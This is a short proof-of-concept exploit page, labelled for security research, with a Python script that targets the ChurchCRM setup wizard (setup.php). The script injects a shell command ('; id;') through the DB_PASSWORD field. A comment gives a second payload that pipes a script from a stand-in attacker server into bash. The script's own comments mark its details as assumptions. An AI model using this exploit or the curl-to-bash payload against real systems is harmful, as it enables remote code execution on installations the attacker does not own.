PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the ChurchCRM setup wizard
target_url = "http://target-ip/setup.php"

# The vulnerability exists in the DB_PASSWORD parameter during setup.
# Since the input is unsanitized, we can inject a payload to achieve RCE.
# This example assumes a command injection context or a similar eval-based execution.
# Payload example: `; curl http://attacker-server/shell.sh | bash`

malicious_payload = "; id;" 

data = {
    "DB_HOST": "localhost",
    "DB_USER": "root",
    "DB_NAME": "churchcrm",
    "DB_PASSWORD": malicious_payload,
    "Step": "3"  # Assuming the vulnerable step in the wizard
}

try:
    response = requests.post(target_url, data=data, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check for code execution.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")
